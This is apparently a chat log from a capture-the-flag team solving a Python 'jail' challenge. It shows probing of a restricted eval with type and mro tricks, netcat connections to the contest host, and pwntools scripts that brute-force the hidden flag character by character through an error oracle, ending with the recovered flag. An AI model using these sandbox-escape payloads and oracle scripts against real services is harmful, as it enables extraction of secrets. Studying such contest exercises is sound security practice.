print(eval(f"{func.__name__}({s})", {"__builtins__": {func.__name__: func}, "flag": FLAG})) (edited) type(type)type(help). maybe it's usefulpython .\chal.py
Input : type
type(type)
<class 'type'>type.mro can workdir(type.mro)
['__call__', '__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__objclass__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__text_signature__']_FLAG.capitalize() FLAG.expandtabs( FLAG.isalpha() FLAG.isnumeric() FLAG.ljust( FLAG.removesuffix( FLAG.rsplit( FLAG.swapcase()
FLAG.casefold() FLAG.find( FLAG.isascii() FLAG.isprintable() FLAG.lower() FLAG.replace( FLAG.rstrip( FLAG.title()
FLAG.center( FLAG.format( FLAG.isdecimal() FLAG.isspace() FLAG.lstrip( FLAG.rfind( FLAG.split( FLAG.translate(
FLAG.count( FLAG.format_map( FLAG.isdigit() FLAG.istitle() FLAG.maketrans( FLAG.rindex( FLAG.splitlines( FLAG.upper()
FLAG.encode( FLAG.index( FLAG.isidentifier() FLAG.isupper() FLAG.partition( FLAG.rjust( FLAG.startswith( FLAG.zfill(
FLAG.endswith( FLAG.isalnum() FLAG.islower() FLAG.join( FLAG.removeprefix( FLAG.rpartition( FLAG.strip(FLAG.capitalize() FLAG.expandtabs( FLAG.isalpha() FLAG.isnumeric() FLAG.ljust( FLAG.removesuffix( FLAG.rsplit( FLAG.swapcase()
FLAG.casefold() FLAG.find( FLAG.isascii() FLAG.isprintable() FLAG.lower() FLAG.replace( FLAG.rstrip( FLAG.title()
FLAG.center( FLAG.format( FLAG.isdecimal() FLAG.isspace() FLAG.lstrip( FLAG.rfind( FLAG.split( FLAG.translate(
FLAG.count( FLAG.format_map( FLAG.isdigit() FLAG.istitle() FLAG.maketrans( FLAG.rindex( FLAG.splitlines( FLAG.upper()
FLAG.encode( FLAG.index( FLAG.isidentifier() FLAG.isupper() FLAG.partition( FLAG.rjust( FLAG.startswith( FLAG.zfill(
FLAG.endswith( FLAG.isalnum() FLAG.islower() FLAG.join( FLAG.removeprefix( FLAG.rpartition( FLAG.strip( 
type.mro(type(1))
[<class 'int'>, <class 'object'>]dir(type.mro(type(FLAG)))
['__add__', '__class__', '__class_getitem__', '__contains__', '__delattr__', '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'append', 'clear', 'copy', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']crazyman@ubuntu:~/Desktop$ nc -v jail.chal.ctf.gdgalgiers.com 1302
Connection to jail.chal.ctf.gdgalgiers.com 1302 port [tcp/*] succeeded!
Input : type.mro(type(1))
<class 'list'>crazyman@ubuntu:~/Desktop$ nc -v jail.chal.ctf.gdgalgiers.com 1302
Connection to jail.chal.ctf.gdgalgiers.com 1302 port [tcp/*] succeeded!
Input : type.mro(type(FLAG))
Errorpython .\chal.py
Input : type.mro(type(1))
<class 'list'>for i in range(10): # flag length
for guess in chars: # all possible chars
payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})"
i guess something like this should work
1from pwn import *
from string import printable
chars = printable.encode()
FLAG = []
for i in range(100): # FLAG length
for guess in chars: # all possible chars
payload = f"type(type(FLAG).mro())(type(type(FLAG).mro())(FLAG).pop({i}).encode()).remove({guess})"
r = remote("jail.chal.ctf.gdgalgiers.com", 1302)
r.sendlineafter(b"Input", payload.encode())
output = r.recvall()
if b"Error" not in output:
FLAG.append(guess)
print("new char: ", bytes(FLAG))
breakguessfrom pwn import *
from string import printable
chars = printable.encode()
flag = []
for i in range(100): # flag length
for guess in chars: # all possible chars
print("guess: ", bytes(flag))
payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})"
#r = remote("jail.chal.ctf.gdgalgiers.com", 1302)
r = process(["python", "./chal.py"])
r.sendlineafter(b"Input", payload.encode())
output = r.recvall()
if b"Error" not in output:
flag.append(guess)
print("new char: ", bytes(flag))
break
it works locally (in the other version i changed flag to FLAG, which was wrong)from pwn import *
from string import printable
from time import sleep
chars = printable.encode()
flag = list(b"CyberErudites{wh")
for i in range(len(flag), 100): # flag length
for guess in chars: # all possible chars
print("guess: ", bytes(flag), chr(guess))
payload = f"type(type(flag).mro())(type(type(flag).mro())(flag).pop({i}).encode()).remove({guess})"
r = remote("jail.chal.ctf.gdgalgiers.com", 1302)
#r = process(["python", "./chal.py"])
r.sendlineafter(b"Input", payload.encode())
output = r.recvall()
sleep(1)
if b"Error" not in output:
flag.append(guess)
print("new char: ", bytes(flag))
break
letting this run for the moment, seems to be workingCyberErudites{wh0_N3ECyberErudites{wh0_N3E CyberErudites{wh0_N3Ed$_bR4CkeTS}